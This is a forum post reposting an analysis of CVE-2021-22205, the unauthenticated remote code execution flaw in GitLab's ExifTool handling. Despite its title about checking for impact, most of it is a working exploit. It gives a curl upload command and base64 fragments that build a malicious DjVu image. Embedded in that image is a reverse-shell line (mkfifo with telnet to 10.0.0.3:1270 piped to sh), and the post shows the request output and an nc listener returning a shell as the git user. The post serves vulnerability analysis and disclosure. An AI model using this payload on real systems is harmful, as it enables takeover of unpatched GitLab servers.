CVE-2021-22205: How to determine if a self-managed instance has been impacted

I found this helpful in this circumstance.

See below and or got to source here: Attackerkb source

Attack Path & Exploit

The confusion around the privilege required to exploit this vulnerability is odd. Unauthenticated and remote users have been and still are able to reach execution of ExifTool via GitLab by design . Specifically HandleFileUploads in uploads.go is called from a couple of PreAuthorizeHandler contexts allowing the HandleFileUploads logic, which calls down to rewrite.go and exif.go , to execute before authentication.

The fall-out of this design decision is interesting in that an attacker needs none of the following:

  • Authentication

  • A CSRF token

  • A valid HTTP endpoint

As such, the following curl command is sufficient to reach, and exploit, ExifTool:

curl -v -F ‘file=@echo_vakzz.jpg’ http://10.0.0.8/$(openssl rand -hex 8)

In the example above, I reference echo_vakzz.jpg which is the original exploit provided by @wcbowling in their HackerOne disclosure to GitLab. The file is a DjVu image that tricks ExifTool into calling eval on user provided text embedded in the image. Technically speaking, this is an entirely separate issue in ExifTool. @wcbowling provides an excellent explanation here.

But for the purpose of GitLab exploitation, now that we know how easy it is to reach ExifTool, it’s only important to know how to generate a payload. A very simple method was posted on the OSS-Security mailing list by Jakub Wilk back in May, but it is character-limiting. So here is a reverse shell that reaches out to 10.0.0.3:1270, made by building off of @wcbowling’s original exploit.

albinolobster@ubuntu:~$ echo -e “QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=” | base64 -d > lol.jpg albinolobster@ubuntu:~$ echo -n ‘TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF’ >> lol.jpg albinolobster@ubuntu:~$ echo -n “fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==” | base64 -d >> lol.jpg

We can substitute the generated lol.jpg into the curl command like so:

albinolobster@ubuntu:~/Downloads$ curl -v -F ‘file=@lol.jpg’ http://10.0.0.7/$(openssl rand -hex 8) * Trying 10.0.0.7… * Connected to 10.0.0.7 (10.0.0.7) port 80 (#0) > POST /e7c6305189bc5bd5 HTTP/1.1 > Host: 10.0.0.7 > User-Agent: curl/7.47.0 > Accept: / > Content-Length: 912 > Expect: 100-continue > Content-Type: multipart/form-data; boundary=------------------------ae83551d0544c303 > < HTTP/1.1 100 Continue

The resulting reverse shell looks like the following:

albinolobster@ubuntu:~$ nc -lnvp 1270 Listening on [0.0.0.0] (family 0, port 1270) Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport 34836) whoami git id uid=998(git) gid=998(git) groups=998(git)

1 Like